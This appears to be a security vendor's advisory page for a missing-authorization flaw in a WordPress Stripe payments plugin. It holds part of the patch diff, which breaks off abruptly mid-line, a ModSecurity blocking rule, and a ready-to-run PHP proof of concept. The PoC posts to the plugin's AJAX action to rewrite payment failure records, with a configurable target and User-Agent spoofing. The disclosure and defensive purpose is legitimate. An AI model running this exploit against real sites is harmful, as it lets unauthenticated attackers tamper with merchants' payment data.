+		return sprintf( __( "Please enter a value for '%s'", 'wp-full-stripe-free' ), self::localizedLabel( $def ) );
+	}
+
+	/**
+	 * @param MM_WPFS_CustomFieldDef $def
+	 *
+	 * @return string
+	 */
+	protected static function invalidError( $def ): string {
+		/* translators: %s: custom field label */
+		return sprintf( __( "The value for '%s' is invalid", 'wp-full-stripe-free' ), self::localizedLabel( $def ) );
+	}
+
+	/**
+	 * @param MM_WPFS_CustomFieldDef $def
+	 *
+	 * @return string
+	 */
+	protected static function tooLongError( $def ): string {
+		/* translators: %s: custom field label */
+		return sprintf( __( "The value for '%s' is too long", 'wp-full-stripe-free' ), self::localizedLabel( $def ) );
+	}
+
+	/**
+	 * @param MM_WPFS_CustomFieldDef $def
+	 *
+	 * @return string
+	 */
+	protected static function rangeError( $def ): string {
+		/* translators: %s: custom field label */
+		return sprintf( __( "The value for '%s' is out of the allowed range", 'wp-full-stripe-free' ), self::localizedLabel( $def ) );
+	}
+}
--- a/wp-full-stripe-free/includes/wpfs-customer.php
+++ b/wp-full-stripe-free/includes/wpfs-customer.php
@@ -72,7 +72,10 @@
 	public function getContext() {
 		$result = new MM_WPFS_CreateOneTimeInvoiceContext();

-		$result->stripeCustomerId = $this->formModel->getStripeCustomer()->id;
+		// The customer may not exist yet on preview/pricing flows (e.g. coupon/tax recompute
+		// before checkout), so guard against reading ->id on null.
+		$stripeCustomer = $this->formModel->getStripeCustomer();
+		$result->stripeCustomerId = is_null( $stripeCustomer ) ? null : $stripeCustomer->id;
 		$result->currency = $this->formModel->getForm()->currency;
 		$result->amount = $this->formModel->getAmount();
 		$result->productName = $this->formModel->getProductName();
@@ -589,6 +592,10 @@

 	const DEFAULT_CHECKOUT_LINE_ITEM_IMAGE = 'https:

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-12432
# Blocks unauthenticated manipulation of payment records via the vulnerable AJAX endpoint
# Targets the specific action parameter and prevents payment intent manipulation

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20260001,phase:2,deny,status:403,chain,msg:'CVE-2026-12432: Payment record manipulation attempt blocked',severity:'CRITICAL',tag:'CVE-2026-12432'"
  SecRule ARGS_POST:action "@streq wpfs_update_failed_payment_status" 
    "chain"
    SecRule ARGS_POST:paymentIntentId "@rx ^pi_" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12432 - Stripe Payment Forms by WP Full Pay <= 8.4.3 - Missing Authorization to Unauthenticated Payment Record Manipulation

/**
 * This PoC demonstrates how an unauthenticated attacker can manipulate payment records
 * by sending a crafted POST request to the vulnerable wpfs_update_failed_payment_status AJAX endpoint.
 * 
 * Requirements:
 * - A valid Stripe Payment Intent ID (exposed during normal checkout flow)
 * - Target site running WP Full Stripe Free <= 8.4.3
 */

// Configuration
$target_url = 'https://example.com/wp-admin/admin-ajax.php';  // CHANGE THIS to your target
$payment_intent_id = 'pi_3MtwBwLkdIwHu7ix0cX9Yt5H';           // CHANGE THIS to a valid Payment Intent ID

// Attacker-controlled values
$failure_code = 'payment_method_not_available';  // Custom failure code
$failure_message = 'Payment was declined due to fraud';  // Custom failure message

// Build the payload for the AJAX request
$post_data = array(
    'action' => 'wpfs_update_failed_payment_status',
    'paymentIntentId' => $payment_intent_id,
    'failureCode' => $failure_code,
    'failureMessage' => $failure_message
);

// Initialize cURL
$ch = curl_init();

// Configure cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  // Disable for testing with self-signed certs
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

// Optional: Set User-Agent to avoid basic blocks
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo "[!] cURL Error: " . curl_error($ch) . PHP_EOL;
} else {
    echo "[*] HTTP Response Code: " . $http_code . PHP_EOL;
    echo "[*] Server Response: " . PHP_EOL . $response . PHP_EOL;
    
    if ($http_code == 200 && !empty($response)) {
        echo "[+] Exploit appeared successful - payment record may have been manipulated." . PHP_EOL;
    } else {
        echo "[-] Target may be patched or the payment intent ID is invalid." . PHP_EOL;
    }
}

// Clean up
curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School